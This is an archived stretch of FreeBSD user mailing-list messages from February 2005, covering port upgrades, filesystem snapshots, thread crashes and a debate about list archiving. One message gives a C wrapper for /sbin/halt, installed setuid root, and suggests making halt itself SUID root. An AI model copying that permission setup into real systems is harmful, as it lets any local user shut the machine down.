X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 17:51:06 -0000 On Feb 7, 2005, at 11:37 AM, Anthony Atkielski wrote: > Eric Kjeldergaard writes: > > EK> To see the collection of prior postings to the list, visit the > EK> freebsd-questions Archives. > EK> > EK> Since we are discussing implicit contracts, I would think that the > EK> announcement that the collection of prior postings is linked to and > EK> mentioned/described to be reasonable notification that the mailing > EK> list gets archived. > > It's not. And there must be no other way of subscribing in order for > this method to be valid, anyway. > > Why do you think that software companies and Web sites and other > organizations require you to check a box to accept terms and > conditions, > instead of just assuming that you read and understand them when they > are > displayed? You mean the boilerplate like the one for the CD I just recently installed telling me what I could run their program on, only to discover that their "program" was nothing but a bunch of PDF files hyperlinked by an index.html page? PLEASE. These companies don't even bother reading their own license agreements anymore. They get some generic thing drafted by their lawyer (or steal someone else's) and spew it into their packaged software to cover their butts. The one I read was definitely for an application of some kind, but the content on the CD was definitely NOT an application. From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 18:04:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BE0A416A4CE for ; Mon, 7 Feb 2005 18:04:02 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.196]) by mx1.FreeBSD.org (Postfix) with ESMTP id C916F43D48 for ; Mon, 7 Feb 2005 18:04:00 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so786387rne for ; Mon, 07 Feb 2005 10:03:56 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=MHBOMlH3AYIVTSz1fgZU6X0/f2SQ1F8V1RolWlVC/GHJxusVpale1tAIVjX9PkcU71xnrJgblQL7ZwOZz/BlptBsH8cbVzSAiJfG8N3LhJcV2kOdj7tFLFrdRxvPlrS9lbv7+eUJ7KdtJVvZjeSg97ARI8VvAgMUAoYv4kpH8S8= Received: by 10.38.151.39 with SMTP id y39mr112929rnd; Mon, 07 Feb 2005 10:03:56 -0800 (PST) Received: by 10.38.74.23 with HTTP; Mon, 7 Feb 2005 10:03:56 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 19:03:56 +0100 From: Gert Cuykens To: questions@freebsd.org In-Reply-To: <20050207104828.N88241@maren.thelosingend.net> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050207104828.N88241@maren.thelosingend.net> cc: freebsd-questions@freebsd.org Subject: Re: .snap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 18:04:02 -0000 On Mon, 7 Feb 2005 10:52:28 +0100 (CET), Svein Halvor Halvorsen wrote: > > * Gert Cuykens [2005-02-07 00:32 +0100] > > What are .snap directories ? > > Take a look at these references: > > - mksnap_ffs(8) > - dump(8) [under the -L option] > - mount(8) [under the -o snapshot option] > - /usr/src/sys/ufs/ffs/README.snapshot > > > Svein Halvor > So that means i can delete the directories right :) What is a snapshot of a filesystem ? How big is a snapshot for example of a 8gb hd ? What is the difference between a snapshot and a bacup image of the hd ? From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 18:04:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C09B816A4CE for ; Mon, 7 Feb 2005 18:04:04 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.195]) by mx1.FreeBSD.org (Postfix) with ESMTP id C9FEF43D4C for ; Mon, 7 Feb 2005 18:04:00 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so786386rne for ; Mon, 07 Feb 2005 10:03:56 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=MHBOMlH3AYIVTSz1fgZU6X0/f2SQ1F8V1RolWlVC/GHJxusVpale1tAIVjX9PkcU71xnrJgblQL7ZwOZz/BlptBsH8cbVzSAiJfG8N3LhJcV2kOdj7tFLFrdRxvPlrS9lbv7+eUJ7KdtJVvZjeSg97ARI8VvAgMUAoYv4kpH8S8= Received: by 10.38.151.39 with SMTP id y39mr112929rnd; Mon, 07 Feb 2005 10:03:56 -0800 (PST) Received: by 10.38.74.23 with HTTP; Mon, 7 Feb 2005 10:03:56 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 19:03:56 +0100 From: Gert Cuykens To: questions@freebsd.org In-Reply-To: <20050207104828.N88241@maren.thelosingend.net> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050207104828.N88241@maren.thelosingend.net> cc: freebsd-questions@freebsd.org Subject: Re: .snap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 18:04:04 -0000 On Mon, 7 Feb 2005 10:52:28 +0100 (CET), Svein Halvor Halvorsen wrote: > > * Gert Cuykens [2005-02-07 00:32 +0100] > > What are .snap directories ? > > Take a look at these references: > > - mksnap_ffs(8) > - dump(8) [under the -L option] > - mount(8) [under the -o snapshot option] > - /usr/src/sys/ufs/ffs/README.snapshot > > > Svein Halvor > So that means i can delete the directories right :) What is a snapshot of a filesystem ? How big is a snapshot for example of a 8gb hd ? What is the difference between a snapshot and a bacup image of the hd ? From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 18:20:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 951D616A4CE for ; Mon, 7 Feb 2005 18:20:04 +0000 (GMT) Received: from smtp819.mail.sc5.yahoo.com (smtp819.mail.sc5.yahoo.com [66.163.170.5]) by mx1.FreeBSD.org (Postfix) with SMTP id 311EA43D48 for ; Mon, 7 Feb 2005 18:20:02 +0000 (GMT) (envelope-from krinklyfig@spymac.com) Received: from unknown (HELO smogmonster.com) (jtinnin@pacbell.net@64.173.27.163 with login) by smtp819.mail.sc5.yahoo.com with SMTP; 7 Feb 2005 18:20:02 -0000 From: Joshua Tinnin To: freebsd-questions@freebsd.org, dave Date: Mon, 7 Feb 2005 10:19:59 -0800 User-Agent: KMail/1.7.2 References: <002201c50d36$c27e4f60$0400a8c0@satellite> In-Reply-To: <002201c50d36$c27e4f60$0400a8c0@satellite> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502071020.00185.krinklyfig@spymac.com> Subject: Re: perl upgrade broke 5.3 system X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 18:20:04 -0000 On Monday 07 February 2005 09:02 am, "dave" wrote: > Hello, > I just updated ports after being away for two weeks. The update > process itself went fine, my problem came when i ran the command to > update perl-dependent ports as suggested in /usr/ports/UPDATING. I > got a bunch of failed updates, php4-extensions, and any of my p5* > ports, apache2, subversion, ices, etc. I've tried manually running > portupgrade packagename but all i get is a prompt, it's as if > portupgrade thinks everything is updated, but dependent perl ports > are not working. The noticer was when MailScanner couldn't find > SpamAssassin although the latest version of both ports are installed. Well, it's always tricky. What I did this time is: % pkg_info -R perl\* > ~/perlports A list of dependencies is now in the text file perlports. In order to get a working environment, I did this first (I use xfce4 on this machine): # portupgrade -rRf xfce Then I force-upgraded all the rest of the xorg ports that weren't upgraded by that command, then all libraries, then individual programs, and finally the ports in meta ports, then the meta ports themselves. Most of this was done automatically; I copied perlports to a different file, edited out some lines, and added commands, put the list in the order stated previously, set the file as executable, then I ran it as a script. Most of the lines in the script look like this (yelp is an example): portupgrade -f yelp-2.6.5 ; It took a long time, as always, but I had zero problems. I also had xfce4, SpamAssassin, KMail and some other programs I use all the time up and running right away. I'm sure this could be done in a more automated fashion, but I've always run into dependency problems that way, if ports aren't upgraded in the right order, e.g., libraries first, so there's always clean up work to do. I avoided that this time, though it took a little longer to have each upgrade be a separate line in a script. > On another question when i install a port if it installs > dependencies and those are only needed by that port, when i uninstall > the port i'd like to updte and remove those dependencies as well, is > this doable? Some urgency! Yes, as long as those dependencies aren't needed elsewhere. You can run the pkg_info -r command to find out, then run pkg_info -R on the dependencies, or you can run: make pretty-print-run-depends-list make pretty-print-build-depends-list in the appropriate port folder (e.g., /usr/ports/www/firefox). There's also sysutils/pkg_cutleaves . - jt From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 18:30:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2235516A4CE for ; Mon, 7 Feb 2005 18:30:34 +0000 (GMT) Received: from outside.taborandtashell.net (sub18-33.member.dsl-only.net [63.105.18.33]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8AA1B43D48 for ; Mon, 7 Feb 2005 18:30:33 +0000 (GMT) (envelope-from tkelly-freebsd-questions@taborandtashell.net) Received: (qmail 58321 invoked from network); 7 Feb 2005 10:30:30 -0800 Received: from laptop.taborandtashell.net (HELO ?192.168.0.9?) (tkelly@192.168.0.9) by outside.taborandtashell.net with AES256-SHA encrypted SMTP; 7 Feb 2005 10:30:30 -0800 Message-ID: <4207B3C6.7000002@taborandtashell.net> Date: Mon, 07 Feb 2005 10:30:30 -0800 From: Tabor Kelly User-Agent: Mozilla Thunderbird 1.0 (X11/20041230) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Lowell Gilbert References: <200502061646.27199.nedsmailbox2@cox.net> <4206E19B.6050503@taborandtashell.net> <44oeewwj4r.fsf@be-well.ilk.org> <4207A3DF.10301@taborandtashell.net> <44zmygtgt7.fsf@be-well.ilk.org> In-Reply-To: <44zmygtgt7.fsf@be-well.ilk.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: FreeBSD Questions Subject: Re: Very general shutdown question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: tkelly-freebsd-questions@taborandtashell.net List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 18:30:34 -0000 Well thanks, too bad I was planning on using those to make my backup jobs easier. Anyway, here is a quick C program to accomplish the same thing: /* main.c */ #include #include int main(int argc, char *argv[]) { extern char **environ; execve("/sbin/halt", argv, environ); return EXIT_SUCCESS; /* note: we never actually get here */ } to compile it, but type 'gcc main.c' then copy a.out to /halt then 'chown root:wheel /halt' then 'chmod a+s /halt' But when I got done writing and testing the program, I thought to myself: Why not just set /sbin/halt to SUID root? -- Tabor Kelly tkelly-freebsd-questions@taborandtashell.net http://tabor.taborandtashell.net From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 18:36:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8801D16A4CE; Mon, 7 Feb 2005 18:36:12 +0000 (GMT) Received: from dexter.starfire.mn.org (starfire.skypoint.net [66.93.17.236]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8F56743D48; Mon, 7 Feb 2005 18:36:11 +0000 (GMT) (envelope-from john@dexter.starfire.mn.org) Received: (from john@localhost) by dexter.starfire.mn.org (8.11.3/8.11.3) id j17Ia6o08884; Mon, 7 Feb 2005 12:36:06 -0600 (CST) (envelope-from john) Date: Mon, 7 Feb 2005 12:36:06 -0600 From: John To: Gert Cuykens Message-ID: <20050207123606.A8843@starfire.mn.org> References: <20050207104828.N88241@maren.thelosingend.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from gert.cuykens@gmail.com on Mon, Feb 07, 2005 at 07:03:56PM +0100 cc: questions@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: .snap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 18:36:12 -0000 On Mon, Feb 07, 2005 at 07:03:56PM +0100, Gert Cuykens wrote: > On Mon, 7 Feb 2005 10:52:28 +0100 (CET), Svein Halvor Halvorsen > wrote: > > > > * Gert Cuykens [2005-02-07 00:32 +0100] > > > What are .snap directories ? > > > > Take a look at these references: > > > > - mksnap_ffs(8) > > - dump(8) [under the -L option] > > - mount(8) [under the -o snapshot option] > > - /usr/src/sys/ufs/ffs/README.snapshot > > > > > > Svein Halvor > > > > So that means i can delete the directories right :) > > What is a snapshot of a filesystem ? How big is a snapshot for example > of a 8gb hd ? What is the difference between a snapshot and a bacup > image of the hd ? Rather than filling up the archives with it again, I'll send you by private e-mail to messages I wrote about a month ago that addressed these issues. -- John Lind john@starfire.MN.ORG From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 18:36:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8801D16A4CE; Mon, 7 Feb 2005 18:36:12 +0000 (GMT) Received: from dexter.starfire.mn.org (starfire.skypoint.net [66.93.17.236]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8F56743D48; Mon, 7 Feb 2005 18:36:11 +0000 (GMT) (envelope-from john@dexter.starfire.mn.org) Received: (from john@localhost) by dexter.starfire.mn.org (8.11.3/8.11.3) id j17Ia6o08884; Mon, 7 Feb 2005 12:36:06 -0600 (CST) (envelope-from john) Date: Mon, 7 Feb 2005 12:36:06 -0600 From: John To: Gert Cuykens Message-ID: <20050207123606.A8843@starfire.mn.org> References: <20050207104828.N88241@maren.thelosingend.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from gert.cuykens@gmail.com on Mon, Feb 07, 2005 at 07:03:56PM +0100 cc: questions@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: .snap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 18:36:12 -0000 On Mon, Feb 07, 2005 at 07:03:56PM +0100, Gert Cuykens wrote: > On Mon, 7 Feb 2005 10:52:28 +0100 (CET), Svein Halvor Halvorsen > wrote: > > > > * Gert Cuykens [2005-02-07 00:32 +0100] > > > What are .snap directories ? > > > > Take a look at these references: > > > > - mksnap_ffs(8) > > - dump(8) [under the -L option] > > - mount(8) [under the -o snapshot option] > > - /usr/src/sys/ufs/ffs/README.snapshot > > > > > > Svein Halvor > > > > So that means i can delete the directories right :) > > What is a snapshot of a filesystem ? How big is a snapshot for example > of a 8gb hd ? What is the difference between a snapshot and a bacup > image of the hd ? Rather than filling up the archives with it again, I'll send you by private e-mail to messages I wrote about a month ago that addressed these issues. -- John Lind john@starfire.MN.ORG From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 19:14:38 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9A5C616A4CE for ; Mon, 7 Feb 2005 19:14:38 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.201]) by mx1.FreeBSD.org (Postfix) with ESMTP id C515243D41 for ; Mon, 7 Feb 2005 19:14:37 +0000 (GMT) (envelope-from snacktime2@gmail.com) Received: by wproxy.gmail.com with SMTP id 69so756643wra for ; Mon, 07 Feb 2005 11:14:37 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=GxBZwBduMKWMBzuSHlBtcBsqCGdwV6QFlt978ibYqyzm1srFzbm/AhSlg9fELMnV9GE1g4YnvQQZTBPBkPQ4HvXNtoVfMjMPINRCkjI47qLOhOtjXwPWqg4dJcT45lQiplQ2SntCM/E7IBOnNAxa2dOsY3Nq07JhjAP/xItSWqI= Received: by 10.54.52.75 with SMTP id z75mr153917wrz; Mon, 07 Feb 2005 11:14:36 -0800 (PST) Received: by 10.54.40.24 with HTTP; Mon, 7 Feb 2005 11:14:36 -0800 (PST) Message-ID: <21fe04a805020711141369e96d@mail.gmail.com> Date: Mon, 7 Feb 2005 11:14:36 -0800 From: Payment Online To: FreeBSD Questions Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Python with threading core dumps on 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Payment Online List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 19:14:38 -0000 I am consistantly getting seg faults and bus errors when running a multi threaded python application under 5.3-release-p2. Python was built from the port(python 2.4) with threading enabled. Rebuilding with the huge stack size option enabled didn't make a difference. The application uses twisted (www.twistedmatrix.com) and it runs fine until I put it under a bit of a load and have 20-30 simultaneous threads running. Then it core dumps. Following is the backtrace from the core file. The backtrace is always the same. Are threads just generally problematic on Freebsd? #0 0x2823cdbb in pthread_testcancel () from /usr/lib/libpthread.so.1 #1 0x28234b06 in pthread_mutexattr_init () from /usr/lib/libpthread.so.1 #2 0x00000000 in ?? () From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 19:15:20 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 558E316A4CE for ; Mon, 7 Feb 2005 19:15:20 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1BBDF43D1D for ; Mon, 7 Feb 2005 19:15:20 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 751EE51432; Mon, 7 Feb 2005 11:15:19 -0800 (PST) Date: Mon, 7 Feb 2005 11:15:19 -0800 From: Kris Kennaway To: Alejandro Pulver Message-ID: <20050207191519.GA3160@xor.obsecurity.org> References: <20050206222318.17b5b2d9@ale.varnet.bsd> <20050206230922.5d49a303@ale.varnet.bsd> <20050207021951.GA29985@xor.obsecurity.org> <20050207112346.6a6a35de@ale.varnet.bsd> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="W/nzBZO5zC0uMSeA" Content-Disposition: inline In-Reply-To: <20050207112346.6a6a35de@ale.varnet.bsd> User-Agent: Mutt/1.4.2.1i cc: freebsd-questions@freebsd.org cc: Kris Kennaway Subject: Re: [SOLVED] Re: jade error: Undefined symbol "_ZNK6Origin14asEntityOriginEv" X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 19:15:20 -0000 --W/nzBZO5zC0uMSeA Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Feb 07, 2005 at 11:23:46AM -0300, Alejandro Pulver wrote: > I solved the problem. The reason was that I installed 'sp' (textproc/sp) = from a package (sp-1.3.4) (as the 'fdp-primer' says) and it overrited (with= out saying it conflicts with 'jade') the following programs/libraries: >=20 > bin/nsgmls > bin/sgmlnorm > bin/spam > bin/spent > bin/sx > [ header files in include/sp ] > lib/libsp.a > lib/libsp.so.1 Yes, that looks unfriendly. You should file a PR requesting that a CONFLICTS directive be added so that this problem does not happen again to someone else. Kris --W/nzBZO5zC0uMSeA Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCB75HWry0BWjoQKURAgh4AKCc4PmHh33+m7ATngy4la1nTADsjACfapxM pOGWTyy3dA3yxPW4XHOwby4= =CaGg -----END PGP SIGNATURE----- --W/nzBZO5zC0uMSeA-- From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 19:16:22 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0CBD616A4CE for ; Mon, 7 Feb 2005 19:16:22 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id C140743D5A for ; Mon, 7 Feb 2005 19:16:21 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 2B3E0514FE; Mon, 7 Feb 2005 11:16:21 -0800 (PST) Date: Mon, 7 Feb 2005 11:16:21 -0800 From: Kris Kennaway To: Jim Arnold Message-ID: <20050207191621.GB3160@xor.obsecurity.org> References: <20050207071352.GA4807@xor.obsecurity.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="MfFXiAuoTsnnDAfZ" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i cc: freebsd-questions@freebsd.org cc: Kris Kennaway Subject: Re: IP Filter changes in FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 19:16:22 -0000 --MfFXiAuoTsnnDAfZ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Feb 07, 2005 at 11:08:54AM -0500, Jim Arnold wrote: > >If you don't have it in your kernel, the module will be loaded at boot > >time if it's available. If you don't have the module either, you > >can't use ipfilter. >=20 > I must have been using the module with 4.7 stable since I did not=20 > have that in the kernel I was running with 4.7. After I upgraded to=20 > 4.11 and IPF was not working I edited my kernel config file to=20 > uncomment the lines for IPF and then compiled the new kernel. I still=20 > don't have an answer why this happened. >=20 > Was the module taken out of 4.11 or an earlier version on FreeBSD?=20 No, it's still there as long as you build modules. If you have NO_MODULES in your make.conf, you won't, of course. Kris --MfFXiAuoTsnnDAfZ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCB76EWry0BWjoQKURAu/wAKCOOqTpvW0eOpZhOKToWlX214SBZwCfdtRx WLgFNv8PN1b5w2cdSFhpY5c= =eTbl -----END PGP SIGNATURE----- --MfFXiAuoTsnnDAfZ-- From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 19:17:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3643B16A4CE for ; Mon, 7 Feb 2005 19:17:12 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id E106343D55 for ; Mon, 7 Feb 2005 19:17:11 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0903.wanadoo.fr (SMTP Server) with ESMTP id C83A21C00177 for ; Mon, 7 Feb 2005 20:17:10 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0903.wanadoo.fr (SMTP Server) with ESMTP id A854D1C00169 for ; Mon, 7 Feb 2005 20:17:10 +0100 (CET) X-ME-UUID: 20050207191710689.A854D1C00169@mwinf0903.wanadoo.fr Date: Mon, 7 Feb 2005 20:17:10 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1916926078.20050207201710@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <200502061420.24415.krinklyfig@spymac.com> <1165136567.20050207171314@wanadoo.fr> <15310210442.20050207175034@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 19:17:12 -0000 Eric Kjeldergaard writes: EK> Perhaps they take a greater risk, or perhaps things are simpler than EK> that. Perhaps, upon submitting something according to the simple EK> instructions with intent for it to be published, it gets published EK> as the general populous would expect...Often things are not EK> complicated. You forget the most likely option of all: For years, cyberspace was dominated by geeks, and ignored by lawyers and the general public. Now, with the general public and the lawyers watching cyberspace very closely indeed, it will no longer be possible for the geeks to get away with doing whatever they want, for better or for worse. Greater regulation and legal hassles are the trend for the future. Pretending it isn't happening will only leave one all the more vulnerable to it as it arrives. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 19:19:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C4C2416A4CE for ; Mon, 7 Feb 2005 19:19:33 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 86D3543D58 for ; Mon, 7 Feb 2005 19:19:33 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id DEF3451432; Mon, 7 Feb 2005 11:19:32 -0800 (PST) Date: Mon, 7 Feb 2005 11:19:32 -0800 From: Kris Kennaway To: dave Message-ID: <20050207191932.GC3160@xor.obsecurity.org> References: <002201c50d36$c27e4f60$0400a8c0@satellite> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="kfjH4zxOES6UT95V" Content-Disposition: inline In-Reply-To: <002201c50d36$c27e4f60$0400a8c0@satellite> User-Agent: Mutt/1.4.2.1i cc: freebsd-questions@freebsd.org Subject: Re: perl upgrade broke 5.3 system X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 19:19:33 -0000 --kfjH4zxOES6UT95V Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Mon, Feb 07, 2005 at 12:02:08PM -0500, dave wrote: > Hello, > I just updated ports after being away for two weeks. The update process > itself went fine, my problem came when i ran the command to update > perl-dependent ports as suggested in /usr/ports/UPDATING. I got a bunch of > failed updates, php4-extensions, and any of my p5* ports, apache2, > subversion, ices, etc. I've tried manually running portupgrade packagename > but all i get is a prompt, it's as if portupgrade thinks everything is > updated, but dependent perl ports are not working. portupgrade -f > The noticer was when > MailScanner couldn't find SpamAssassin although the latest version of both > ports are installed. It sounds like some of the ports are still installed in the perl 5.8.5 directory, so the newer ports that have been rebuilt against perl 5.8.6 cannot find them. That was what the command in UPDATING was supposed to fix though, so maybe there is a corner case that was not covered. If you can reproduce this, talk to the perl@FreeBSD.org mailing list. > On another question when i install a port if it installs dependencies > and those are only needed by that port, when i uninstall the port i'd like > to updte and remove those dependencies as well, is this doable? Not automatically, because the system can't know if you're actually using any of those build-time dependencies yourself (e.g. you might be using gmake or gcc 3.4 for your own non-port projects), but the pkg_cutleaves port can help to do this. Kris --kfjH4zxOES6UT95V Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCB79EWry0BWjoQKURAoaFAKDI/nBanUoO7iTMhJSoSrR9BD2LSwCgmIOW AV/ZP2WFcSasS3bfmEEVG5g= =Z41a -----END PGP SIGNATURE----- --kfjH4zxOES6UT95V-- From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 19:20:50 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7D6D016A4CE for ; Mon, 7 Feb 2005 19:20:50 